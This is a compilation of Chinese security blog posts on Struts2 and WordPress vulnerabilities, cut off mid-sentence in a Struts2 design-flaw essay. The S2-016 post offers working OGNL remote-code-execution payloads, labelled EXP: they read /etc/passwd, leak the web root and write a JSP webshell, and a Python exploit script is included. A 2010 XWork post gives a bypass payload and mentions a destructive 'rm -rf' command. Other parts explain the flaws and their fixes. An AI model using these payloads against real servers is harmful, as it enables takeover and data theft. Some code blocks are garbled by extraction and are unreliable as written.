[更新]Struts2再爆远程代码执行漏洞(S2

Posted on

[更新]Struts2再爆远程代码执行漏洞(S2-016)

phper @ 漏洞 2013-07-17

Struts又爆远程代码执行漏洞了!**在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码。**Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。

描述 影响版本 Struts 2.0.0 - Struts 2.3.15 报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc. CVE编号 CVE-2013-2251

漏洞证明

参数会以OGNL表达式执行 http://host/struts2-blank/example/X.action?action:%25{3/*4} http://host/struts2-showcase/employee/save.action?redirect:%25{3/*4}

代码执行

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

漏洞原理

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

Apache官方地址

国内网站受灾严重

以下仅供教学研究之用,严禁非法用途!

执行任意命令EXP,感谢X提供: ?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

爆网站路径EXP,感谢h4ck0r提供:

?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

python执行任意命令,感谢h4ck0r提供

import urllib2,sys,re def get(url, data): string = url + "?" + data req = urllib2.Request("%s"%string) response = urllib2.urlopen(req).read().strip() print strip(response) def strip(str): tmp = str.strip() blankline=re.compile('\x00') tmp=blankline.sub('',tmp) return tmp if name == '__main': url = sys.argv[1] cmd = sys.argv[2] cmd1 = sys.argv[3] attack="redirect:${%%23a%%3d(new%%20java.lang.ProcessBuilder(new%%20java.lang.String[]{'%s','%s'})).start(),%%23b%%3d%%23a.getInputStream(),%%23c%%3dnew%%20java.io.InputStreamReader(%%23b),%%23d%%3dnew%%20java.io.BufferedReader(%%23c),%%23e%%3dnew%%20char[50000],%%23d.read(%%23e),%%23matt%%3d%%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%%23matt.getWriter().println(%%23e),%%23matt.getWriter().flush(),%%23matt.getWriter().close()}"%(cmd,cmd1) get(url,attack)

GETSHELL EXP,感谢coffee提供:

?redirect:${ %23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'), %23p%3d(%23req.getRealPath(%22/%22)%2b%22test.jsp%22).replaceAll("\\", "/"), new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close() }&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%

然后用以下代码写shell:

<form action="http://www./*/*/*.jp/acdap/test.jsp?f=1.jsp&quot; method="post">

上前目录生成1.jsp

Struts2

Posted on

Struts2-XWork 安全漏洞及解决办法

作者 my_corner 发表时间:2010-07-24 最后修改:2010-07-27

exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。 漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability 相关介绍:

  • http://www.exploit-db.com/exploits/14360/
  • http://sebug.net/exploit/19954/ Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数: ?user.address.city=Bishkek&user['favoriteDrink']=kumys ONGL将它转换为: action.getUser().getAddress().setCity("Bishkek") action.getUser().setFavoriteDrink("kumys") 这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。 为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“/#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值: 此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击 ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 转义后是这样: ?('/#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('/#context['xwork.MethodAccessor.denyMethodExecution']=/#foo')(/#foo=new%20java.lang.Boolean("false")))&(asdf)(('/#rt.exit(1)')(/#rt=@java.lang.Runtime@getRuntime()))=1 OGNL处理时最终的结果就是java.lang.Runtime.getRuntime().exit(1); 类似的可以执行java.lang.Runtime.getRuntime().exec("rm –rf /root"),只要有权限就可以删除任何一个目录。 目前尝试了3个解决方案: 1.升级到struts2.2版本。 这个可以避免这个问题,但是struts开发团队没有release这个版本(包括最新的2.2.1版本都没有release),经我测试发现新版本虽然解决了上述的漏洞,但是新的问题是strus标签出问题了。 这样的标签在struts2.0中是可以使用的,但是新版中就不解析了,原因就是“/#”的问题导致的,补了漏洞,正常的使用也用不了了。 所以sebug网站上的建议升级到2.2版本是不可行的。 2.struts参数过滤。 ./\u0023./ 这个可以解决漏洞问题,缺点是工作量大,每个项目都得改struts配置文件。如果项目里,是引用的一个类似global.xml的配置文件,工作量相应减少一些。 3.在前端请求进行过滤。 比如在ngnix,apache进行拦截,参数中带有\u0023的一律视为攻击,跳转到404页面或者别的什么页面。这样做的一个前提就是没人把/#号转码后作为参数传递。 目前来看后两种是比较有效的方法,采用第三种方法比较简便。是否有另外的解决办法,欢迎大家讨论。 我并没有在windows环境下测试,有同学在windows下没有试验成功,这并不能说明windows下就没有风险可能是我们的参数或者什么地方有问题而已。既然漏洞的确存在,咱们就要重视对吧。欢迎大家测试,是否windows下漏洞不能执行成功。

这三种方法,均已通过测试

WordPress

Posted on

WordPress < 3.6.1 PHP 对象注入漏洞

2013/09/13 11:36 | 五道口杀气

From:WordPress < 3.6.1 PHP Object Injection

0x00 背景

当我读到一篇关于Joomla的“PHP对象注射”的漏洞blog后,我挖深了一点就发现Stefan Esser大神在2010年黑帽大会的文章:

http://media.blackhat.com/bh-us-10/presentations/Esser/BlackHat-USA-2010-Esser-Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits-slides.pdf

这篇文章提到了PHP中的unserialize函数当操作用户生成的数据的时候会产生安全漏洞。

所以呢,基本来说,unserialize函数拿到表现为序列化的数据,然后就解序列化它(unserialize嘛,当然就干这个啊~)为php的值。这个值它可以是resource之外的任何类型,可为(integer, double, string, array, boolean, object, NULL),当这个函数操作一个用户生成的字符串的时候,在低版本的PHP中可能会产生内存泄露的漏洞,当然这也不是这篇blog要关注的问题。如果你对这个问题感兴趣,你可以再去看看我上面说的大神的文章。

另外一种攻击方式发生在当攻击者的输入被unserialize函数操作的时候,这种就是我说到的“PHP对象注入”。在这种方式中,对象类型的被unserialize的话,允许攻击者设置他选择对象的属性。当这些对象中的方法被调用的时候,会出现一些效果(例如:删除一些文件),当攻击者可以去选择对象里的一些属性的时候,他就能够删除一个他所提交的文件。

让我们举个例子吧,想象以下的代码中的class是用户自己生成的内容被unserialize时载入的:

(ps:老外贴出的代码语法有问题,改了一下测试成功……) <?php

class

Foo {

private

$bar

;

public

$file

;

public

function

__construct(

$fileName

) {

$this

->bar =

'foobar'

;

$this

->file =

$fileName

;

}

// 一些其他的代码……

public

function

__toString() {

return

file_get_contents

(

$this

->file);

}

} ?>

如果受害的缺陷代码同时还存在以下的代码:

1echo

unserialize(

$_GET

[

'in'

]);

这攻击者就可以读取任意文件,攻击者可以如下去构造它的对象。

1

2 3

4 5

6 7

8 <?php

class

Foo {

public

$file

;

} $foo

=

new

Foo();

$foo

->file =

'/etc/passwd'

; echo

serialize(

$foo

);

?>

上面这段代码的结果是:O:3:"Foo":1:{s:4:"file";s:11:"/etc/passwd";} ,攻击者现在要做的事情就事通过提交get请求到存在漏洞的页面触发他的攻击代码。这个页面会吐出/etc/passwd的内容来。能读到这些文件的内容怎么看都不是一个好事情,你就想象一下,万一缺陷代码中的函数不是file_get_contents而是eval呢?

我相信上面这部分已经能让人明白允许用户输入进入unserialize这个函数危害有多大了。就连PHP手册里也说了不要把用户生成的内容交给unserialize函数。

警告:

不要把不可信的用户输入交给unserialize,使用该函数解序列化内容能导致访问且自动载入对象,恶意用户可以利用这一点,从安全的角度,如果你想让用户可以标准的传递数据,可以使用json (json_encode json_decode)。

好,让我们继续说这些问题怎么影响到Wordpress。

0x01 wordpress的安全问题

Stefan Esser's的黑帽演讲中,他提到Wordpress是一款使用了serialize和unserialize函数的知名应用。在他的幻灯片中,unserialize用来接收来自Wordpress站点上的数据。所以攻击者可以在受害站点上发起一次中间人攻击。他可以修改来自Wordpress站点的返回数据,把他的代码加进去。有趣的是就在我编写这篇文章的时候,Wordpress最新的版本也包含这个问题(距离那演讲似乎过去三年了),想象一下,如果有黑客可以劫持WordPress.org的DNS会发生什么事情吧。

然而,这也不是Wordpress使用这个unserialize的唯一地方,它还用于用于在数据库中数据。举例来说,用户的metadata就被序列化后存储在数据库中,metadata的取回方式在wp-includes/meta.php的272行的get_metadata(),我在这里引用一下该函数的部分代码(292-297行)

if

( isset(

$meta_cache

[

$meta_key

]) ) {

if

(

$single

)

return

maybe_unserialize(

$meta_cache

[

$meta_key

][0] );

else

return

array_map

(

'maybe_unserialize'

,

$meta_cache

[

$meta_key

]);

}

基本上,这个函数所干的事情就是取回数据库里的metadata(它来自每篇文章或用户输入),数据在数据库中的wp_postmeta和wp_usermeta表中,有些数据是被序列化的而有些没有被序列化,所以maybe_unserialize()函数替代了unserialize()在这里操作,这个函数在wp-includes/functions.php的230到234行之间被定义。

1

2 3

4 5function

maybe_unserialize(

$original

) {

if

( is_serialized(

$original

) )

//序列化的数据才会走到这里面

return

@unserialize(

$original

);

return

$original

; }

所以,这个函数干的事情是检查给予它的值是不是一个序列化的数据,如果是的话,就解序列化。这里用来判断是否是序列化所使用的函数是is_serialized(),它的定义在同文件的247到276行之间。

function

is_serialized(

$data

) {

// 如果连字符串都不是,那就不是序列化的数据了

if

( !

is_string

(

$data

) )

return

false;

$data

= trim(

$data

);

if

(

'N;'

==

$data

)

return

true;

$length

=

strlen

(

$data

);

if

(

$length

< 4 )

return

false;

if

(

':'

!==

$data

[1] )

return

false;

$lastc

=

$data

[

$length

-1];

if

(

';'

!==

$lastc

&&

'}'

!==

$lastc

)

return

false;

$token

=

$data

[0];

switch

(

$token

) {

case

's'

:

if

(

'"'

!==

$data

[

$length

-2] )

return

false;

case

'a'

:

case

'O'

:

return

(bool) preg_match(

"/^{$token}:[0-9]+:/s"

,

$data

);

case

'b'

:

case

'i'

:

case

'd'

:

return

(bool) preg_match(

"/^{$token}:[0-9.E-]+;\$/"

,

$data

);

}

return

false;

}

WordPress检查一个值是否是序列化的字符串为什么那么重要的原因马上要变得清晰了。首先,我们看一下一个攻击者如何把他的内容最终加入到metadata表中的。每个用户的姓名,雅虎IM都存储在wp_usermeta表里。所以我们把自己的恶意代码加在那我们就可以搞掂掉WordPress,对不对?你可以试试在你该写名字的地方写个i:1试试,如果这个没有被解序列化那这里只会返回一个我们输入的i:1。

麻痹的,看来要发几个大招才可以搞掂WordPress啊。让我们挖得再深一点,看看为什么这个东西就没有给解序列化。在 wp-includes/meta.php 中,这个update_metadata() 函数定义在101-164行,这里有这个函数的部分代码。

// …

$meta_value

= wp_unslash(

$meta_value

);

$meta_value

= sanitize_meta(

$meta_key

,

$meta_value

,

$meta_type

);

// …

$meta_value

= maybe_serialize(

$meta_value

);

$data

= compact(

'meta_value'

);

// …

$wpdb

->update(

$table

,

$data

,

$where

);

// …

这里maybe_serialize函数可能能解释为什么我们刚才的操作没成功,我们再跟进去看看这个函数,它定义在wp-includes/functions.php的314-324行。

function

maybe_serialize(

$data

) {

if

(

is_array

(

$data

) ||

is_object

(

$data

) )

return

serialize(

$data

);

// 二次序列化是为了向下支持

// 详见 http://core.trac.wordpress.org/ticket/12930

if

( is_serialized(

$data

) )

return

serialize(

$data

);

return

$data

;

}

所以当我们传入一个序列化的值的话,它就会再序列化一下,这就是现在发生的情况,你看,数据库里的东西不是i:1;而是s:4:"i:1;";,当解序列化的时候它就显示为一个字符串,那现在该怎么办呢?

你懂的,这帖子的内容也存在数据库里,上面这就说明了为什么我们失败了。如果我们现在想往数据库插一个序列化后的东西,我们就需要在我们插入数据的时候让is_serialized()这个函数返回一个false,而当我们再从数据里取它的时候,它就应该返回个true了。

你懂的,Mysql数据库,表和字段都有他们自己的charset和collation(字符集和定序)。WordPress呢,默认的字符集是UTF-8。从这个名字就看的出来,这个字符集它不支持全部的Unicode字符,你要是对这个感兴趣,你可以看看Mathias Bynens的这篇文章:http://mathiasbynens.be/notes/mysql-utf8mb4,这文章教了我UTF-8的表储存不了Unicode编码区间是U+010000到U+10FFFF的字符。所以当我们在这个情况下尝试保存这些字符呢?显而易见,包括这个字符和这个字符之后的内容都会被忽略掉。所以在我们尝试插入

foo𝌆bar 的时候,Mysql会忽略

𝌆bar 而保存为foo。

这个迷题的最后一部分就是我们需要插入一个用以一会儿解序列化的内容,为了测试这个,你可以插入

1:i𝌆 为你的名字。正如所见到的,结果是1,意味着你的输入被解序列化了,如果你还不相信我,你试着输入一个空数组的序列化并且以该字符结尾:

a:0:{}𝌆 。这个结果是Array。

让我们继续

maybe_serialized('i:1;𝌆') 插入了数据库。WordPress不认为这是一个已序列化的数据,因为它不是;或者}结尾的。它会返回

i:1;𝌆 ,当插入数据库的时候,它的值是i:1,当它从数据库取回的时候,它有了;最为最后一个字符,所以它可以解序列化成功。碉堡了。漏洞。

0x02 WordPress 利用

现在我们展示了WordPress存在PHP对象注入漏洞。让我们尝试利用它。所以为了利用该漏洞(通过注入对象的方法),我们需要找到一个符合以下条件的class:

1,内有“有用”的方法可被调用。 2,存在该对象的类已经被包含了。

当一个对象被解序列化的时候,__wakeup函数会被调用,这被称作PHP的魔术方法,这也是我们确定会被调用的方法,实际上这些函数会更多写些,我写了一个以下的class来获取被调用的class到/tmp/fumc.log。 <?php

class

Foo {

public

static

function

logFuncCall(

$funcName

) {

$fh

=

fopen

(

'/tmp/func.log'

,

'a'

);

fwrite(

$fh

,

$funcName

.

"\n"

);

fclose(

$fh

);

}

public

function

__construct() { Foo::logFuncCall(

'__construct('

.json_encode(func_get_args()).

')'

);}

public

function

__destruct() { Foo::logFuncCall(

'__destruct()'

);}

public

function

__get(

$name

) { Foo::logFuncCall(

"__get($name)"

);

return

"Foo"

;}

public

function

__set(

$name

,

$value

) { Foo::logFuncCall(

"__set($name, value)"

);}

public

function

__isset(

$name

) { Foo::logFuncCall(

"__isset($name)"

);

return

true;}

public

function

__unset(

$name

) { Foo::logFuncCall(

"__unset($name)"

);}

public

function

__sleep() { Foo::logFuncCall(

"__sleep()"

);

return

array

();}

public

function

__wakeup() { Foo::logFuncCall(

"__wakeup()"

);}

public

function

__toString() { Foo::logFuncCall(

"__toString()"

);

return

"Foo"

;}

public

function

__invoke(

$a

) { Foo::logFuncCall(

"__invoke("

. json_encode(func_get_args()).

")"

);}

public

function

__call(

$a

,

$b

) { Foo::logFuncCall(

"__call("

. json_encode(func_get_args()).

")"

);}

public

static

function

__callStatic(

$a

,

$b

) { Foo::logFuncCall(

"__callStatic("

. json_encode(func_get_args()).

")"

);}

public

static

function

__set_state(

$a

) { Foo::logFuncCall(

"__set_state("

. json_encode(func_get_args()).

")"

);

return

null;}

public

function

__clone() { Foo::logFuncCall(

"__clone()"

);}

} ?>

为了列出这些被调用的函数,首先要确认这个函数在解序列化发生的时候是被引入被包含过的(php中的include require等)。你可以把require_once('foo.php')加到functions.php的顶端。接下来,把名字改为O:3:"Foo":0:{}𝌆来尝试利用这个PHP对象注入漏洞,当刷新页面后,你回看到你的名字变成了Foo,这也就是意味着这是上面那class中__toString()函数的返回,然后让我们看看都有哪些函数被调用了。

$ sort -u /tmp/func.log destruct() toString() __wakeup()

给出了我们三个函数:wakeup(), destruct() 和 __toString()

很不幸的是我不能再WordPress中找到一个载入了并且解序列化时能被利用造成影响的类。所以不是一个WordPress的安全问题,而是一个可能利用的地方。

所以是不是WordPress是有安全隐患的,但是无法被利用?不一定,如果你熟悉WordPress,你可能会觉察到可能有一堆插件存在漏洞。这些插件有他们自己的类并且可能暴露出可被利用的安全漏洞。我想到这个后,已经发现了一款著名的插件存在漏洞并且可以导致远程任意代码执行。

由于道德考虑,这个时候我不会发布PoC的,有太多存在安全漏洞的WordPress了。

0x03 修复WordPress

这个修复方式是修改is_serialized函数,我简单的说说: function

is_serialized(

$data

,

$strict

= true ) {

// 如果不是字符串就不会是序列化后的数据

if

( !

is_string

(

$data

) )

return

false;

if

(

':'

!==

$data

[1] )

return

false;

if

(

$strict

) {

$lastc

=

$data

[

$length

  • 1 ];

if

(

';'

!==

$lastc

&&

'}'

!==

$lastc

)

return

false;

}

else

{

//确认存在;或}但不是在第一个字符

if

(

strpos

(

$data

,

';'

) < 3 &&

strpos

(

$data

,

'}'

) < 4 )

return

false;

}

$token

=

$data

[0];

switch

(

$token

) {

case

's'

:

if

(

$strict

) {

if

(

'"'

!==

$data

[

$length

  • 2 ] )

return

false;

}

elseif

( false ===

strpos

(

$data

,

'"'

) ) {

return

false;

}

case

'a'

:

case

'O'

:

return

(bool) preg_match(

"/^{$token}:[0-9]+:/s"

,

$data

);

case

'b'

:

case

'i'

:

case

'd'

:

$end

=

$strict

?

'$'

:

''

;

return

(bool) preg_match(

"/^{$token}:[0-9.E-]+;$end/"

,

$data

);

}

return

false;

}

这主要的区别是当$strict参数设置为false的时候,会有一些强制操作导致一个字符串被标记为已序列化。举例说明,最后一个字符不需要必须是;或者{(译者注:作者此处应该笔误了,应该是;或者}),修复了我所提交的漏洞。现在大家有没有相似的内容可以拿出来做个讨论的?

WordPress依旧使用着不安全的unserialize()而非安全的json_decode。它的安全性全在判断规则或者Mysql的规则实现上。我在上面揭露的漏洞实际上是使用Mysql的规则去掉我跟在特殊符号后的所有字符。

有一个很简洁的修复方案,修改一下数据库编码不被截断就好: ALTER TABLE wp_commentmeta CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; ALTER TABLE wp_postmeta CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; ALTER TABLE wp_usermeta CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

Struts2框架安全缺陷

Posted on

Struts2框架安全缺陷

By kxlzx

摘要

本文介绍了java开发流行框架struts2以及webwork的一些安全缺陷,并举例说明框架本身以及开发人员使用 框架时,所产生的种种安全问题,以及作者挖掘框架安全漏洞的一些心得体会。

推荐以下人群阅读

了解java开发 了解框架开发 了解web application安全 “网络安全爱好者”

正文

当前java开发网站,通常不会是纯JSP的,大都使用了java framework。 有了这些framework,让开发人员更加快速的开发出代码,也让代码非常具有可扩展性,那些分层架构的思想, 更是深入人心。这些也大大影响了安全代码审核,曾提出“分层审核代码”的思想,比如在DAO层专门检查 sql注入,在view层检查xss等。这些框架都有自己的层级,本次文章主要讲的是struts这个框架的相关 安全问题,也会有小部分涉及到struts后面的DAO层。 而struts这个框架更新占有市场份额极大的一个框架,它在各个层级中,位于如图所示位置: 可以看到struts在web应用中,负责处理接收用户数据,调用业务处理,以及展示数据的工作。所以本文把 struts的功能分为controller层和view层,controller层来完成接收用户数据,分发用户请求,而view专门 用于展示数据。 一个单独的struts,是不合逻辑的,因为架构师通常喜欢多种框架集合,让它们各自负责某一层的处理。 研究一个框架的安全问题,不能仅仅站在框架的角度,还应该充分考虑到开发人员是如何使用这些框架的, 他们最喜欢写什么样的代码,这样才能还原一个正常的、完整的web应用场景。 从搜索结果看,互联网中,绝大多数教程推荐struts+hibernate+spring这样的黄金组合,那么,我假设有 一个应用使用了这个组合,以struts为重点,站在攻击者的角度,层层分析struts的设计缺陷。

Struts2开发回顾与简单学习

为了让大家回顾或者学习一下struts2,我们一起来建立一个action、jsp页面,做一个接收用户输入,之后 处理一下,再展示出来给用户的过程,精通struts2的同学可以跳过此步。 -------------------------------------struts回顾start 首先建立action,叫做AaaaAction: public class AaaaAction extends ActionSupport{ private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } public String execute(){ System.out.println("exe"); return SUCCESS; } public String bbb(){ System.out.println("bbbbb"); return SUCCESS; } } 请注意execute这个方法,让用户输入action的地址后,默认会访问这个方法。 之后配置struts.xml文件 user/aaa.jsp 配置这个文件后,当用户输入 http://www.inbreak.net/app/aaaaaaa.action 的时候,struts会负责让AaaaAction中的execute方法处理用户请求。 处理之后,该方法返回“return SUCCESS;”,struts又负责找到result的name是seccuess所指向的jsp页面。 把该页面解析后,返回给用户。 而用户看到的就是aaa.jsp页面的html代码。 struts2继承了webwork的所有优点,其实等于是webwork的升级,如果开发人员想让用户直接访问action中的 某方法,而不是访问默认的execute方法,只要定义一个方法叫做bbb,并且是public的,用户就可以直接输入 http://www.inbreak.net/app/aaaaaaa!bbb.action 直接访问了bbb方法。 那request中的参数如果接收呢?struts2中,这个过程被包装了起来,使用非常方便,只要在action中定义 一个属性,叫做public String name;。然后加入getName和setName方法,就可以像正常使用属性一样,接收到 用户传递过来的变量。无论是get请求还是post请求,都可以使用这种方式接收用户输入。 整个过程就如此简单,现在大家对流程有了了解,我们就开始讨论正文,如果还是想了解更多,请自行google。 ----------------------------------struts回顾end

Struts2安全缺陷

可以看到struts2在数据流向方面,有两个重点,一个是进入(in),一个是输出(out)。而我在做漏洞 挖掘的思路,也是跟着这个数据的流程,开始分析的,下面我们就开始让数据进入。 Action属性默认值可以被覆盖缺陷: 在日常的java项目中,我们经常会遇到保存一个新的对象(比如注册一个用户),然后给这个对象赋予一些 用户提交上来的属性值,在这里,只需要定义一个对象类: public class User { private Long id=0l; private String name; private String pass; private Integer type=1; 。。。下面的get和set方法代码略 } 定义后,在action中,添加一个属性 User reguser; 用户注册的页面代码如下:

当用户提交这个form到action中后,struts2会负责自动映射reguser.name的值到reguser的相关属性(name) 中,所以在execute这个方法中,就可以使用reguser.getName()拿到用户提交的reguser.name的值。所以我们 下面的代码就很简单了: public String execute(){ add(user); add方法,更简单了,因为我们项目中集成了hibernate,这个框架自动映射user类中的各个属性,自动组成 insert语句。我们只要在add中调用session.save(user);就可以保存用户到数据库中。 前文提到那么多“简单”两个字,难道这些过程都是安全的而他给我们仅仅带来了方便么? struts2只负责映射所有对象,他提供了form验证,也只能验证form中属性值的内容,比如email格式等, 并不能约束用户提交其他属性上来,于是这就变成了十分危险的功能。 当User中有个属性type,代表User是否管理员时(1为普通用户,2为管理员),麻烦来了,攻击者在原来的 注册表单中,新加入一个input,叫做 然后输入值是2,把这个值一起交给action。在这个流程中,这个值,当然也会被自动带到数据库中,向下 处理的逻辑中,这个用户,就已经变成管理员了。 当你看到了一个struts2或者webwork的应用,可以尝试使用属性攻击,修改当前表单,里面有所有你猜测到 的属性,一并提交上来,就可能会影响整个逻辑,达到攻击目的。文中仅仅是一个例子,事实上,在数据传递 的过程中,可以任意覆盖数据的默认值,本来就是一个危险的缺陷,而struts2和webwork这两个框架仅仅看到 了它带来的好处,忽略了这方面基于安全性的考虑,仅仅关注了用户提交数据的正确性。对比在没有struts2 这个功能的时候,我们却需要在action中一个一个的把需要的变量,从用户提交的request中解出来,一个一个 处理,不可能出现这种安全问题。现在它包装了这个过程,自以为很方面,却出了严重问题。

Action中的方法被暴力猜解缺陷

前文提到,有一种方法可以让用户访问action时,不访问默认的execute方法,而是直接访问其他action中 的方法,条件是在action中,写一个public的方法。开发人员如果需要做一个登陆后,展示所有用户列表的 功能,而他的一个“解耦合”的开发习惯,将在这里导致安全缺陷。 定义一个如下的action public class Userlogin extends ActionSupport{ private String uname=""; private String upwd; private List list; //getter and setter 方法略 public String login(){ if(uname!=null&&upwd!=null&&uname.equals("kxlzx")&&upwd.equals("pass")) {//if login success return list(); } return false; } public String list(){ list.add("kxlzx");list.add("kxlzx1");list.add("kxlzx2");list.add("kxlzx3"); return "list"; } } Userlogin中,因为list这个功能(显示所有用户列表),其实是一个通用的功能,很容易被其他地方调用, 所以开发人员把它单独写成了一个方法。 当用户登陆的时候,打开 http://www.inbreak.net/app/userlogin!login.action 来到了用户的登陆页面,可以看到,只有用户输入正确的用户名和密码,才能最终调用list()方法,显示结果。 但是struts2把所有public的方法都暴露了出去,导致现在用户输入了 http://www.inbreak.net/app/userlogin!list.action 用户访问这个链接后,struts2调用list方法,然后返回结果给用户,所以没有登陆,就显示了所有用户信息, 直接绕过了login中的登陆验证。 在没有struts2的时候,我们要在servlet的doget或者dopost方法中,写if判断等代码,才能让用户调用其他 servlet中的方法,现在看来其实这也是一种保护措施。而现在struts2为了方便开发,把所有的public方法 统一映射了出去,导致开发把一个经常使用的功能,习惯写成一个public的方法,现在居然成了严重漏洞。

struts2的action属性设计缺陷

再回头看看我们在action中的属性定义,你会发现,现在他们都成了漏洞,因为struts2规定属性的get和 set方法,都必须是public的。 那么我们定义了 private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } 这段代码的时候,实际上,是写了两个public的方法。 那这两个表面上没有任何实质含义的方法,会有什么安全隐患呢? 这需要和前文联系起来,前文提到,我们在struts.xml文件中,定义如下: user/userlist.jsp user/addUser.jsp user/added.jsp user/false.jsp 这段代码含义是,UserAction中,任何一个方法执行后,如果返回的是success这个字符串, 就会把 user/userlist.jsp返回给用户。 如果返回是addUser,就会把user/addUser.jsp返回给用户。 现在UserAction是管理用户的页面,在我们的系统中,有普通管理员和超级管理员,他们的区别是普通管理员 可以查看用户,但是不能添加一个用户。 所以,我们在UserAction中,写了 public String addUser(){ if(true){ //事实上这里是个超级管理员的判断,我偷懒了。 return "false"; } return "addUser"; } 这个方法的代码判断了不允许普通管理员访问,但是user/addUser.jsp这个jsp页面中并没有这个判断逻辑。 因为开发认为只有返回addUser的时候,才会来到这个页面,而要返回addUser,则必须通过超级管理员的验证。 那我们能让一个方法返回addUser么?当然可以! http://www.inbreak.net/app/user!getUsername.action?username=addUser 这个链接,struts2会怎么处理呢? 他会找struts.xml中,对应段路径user,于是找到了对应的处理Action(net.inbreak.UserAction), 由于路径中有了“!getUsername”,于是就去找这个Action中的getUsername这个方法,很明显,这个方法其实 是username这个属性的get方法,如果你要让Action接收用户提交的username,你就必须要定义这个方法。 那这个方法会返回什么呢?会返回action的字段username的值!哈哈!username用户已经提交给action了, 链接后面写着“?username=addUser”,struts2把这个值赋予了action中的username属性。那这里返回的当然 就是“addUser”! 一系列巧合后,导致现在给用户返回了user/addUser.jsp页面,这是一个添加用户的表单页面,并且用户没 有去走验证是否为超级管理员这一步。 现在用户看到了一个添加用户的页面,他有两种攻击思路: 1,直接提交,如果处理用户提交的那个action没有再次判断用户身份,那就提交成功了。 2,如果他判断了用户身份,我们还可以csrf他,因为我们知道了这个action的地址,和它需要的参数! 由于struts2的action和jsp文件分离,导致开发人员往往会在action的方法中,执行权限判断,而jsp页面中 并没有再次执行这个判断,他以为action判断就够了。而偏偏action的属性,给我们带来了一个可自定义返回 result的方法,导致我们可以绕过action访问jsp页面。

Struts2的那些result类型缺陷(redirect)

刚才我们领教了struts2给我们带来那些属性的好处,现在我们再往后走一步,研究Action方法的返回结果。 其实并不是只由String类型的返回结果,struts2还有其他类型的返回,比如“redirect”类型。 user/false.jsp ${redirecturl} 这段代码,大家唯一可能看不懂的,就是type="redirect"了。 这是一个url redirect的方式,struts2为了方便大家开发,把“自定义302跳转到其他url”这种方式给包装了 起来。只要如上定义,我们就可以在action中写方法: public String redirect() { return "redir"; } 然后定义属性 private String redirecturl; 当用户打开 http://www.inbreak.net/app/test!redirect.action?redirecturl=/a.jsp 的时候,就会302跳转到 http://www.inbreak.net/app/a.jsp 这是很常见的url跳转应用,在struts2中,如上配置一下,就可以实现。 相信明眼人都看出来了,很明显这里存在url跳转漏洞,如果用户输入了 http://www.inbreak.net/app/test!redirect.action?redirecturl=http://www.ph4nt0m.org 就会跳转到http://www.ph4nt0m.org这个钓鱼网站(-_-!)。那么如何防御呢? 要防御url跳转到钓鱼网站,我们肯定需要一个白名单机制,或者根本就让他跳转到本站下。于是有了如下判断: public String redirect() { if(redirecturl.startsWith("/")) { return "redir"; } return "false"; } 可能你看出来了,仅仅判断"/"开头,其实是不能杜绝url跳转漏洞的,因为 http://www.inbreak.net/app/test!redirect.action?redirecturl=//www.ph4nt0m.org 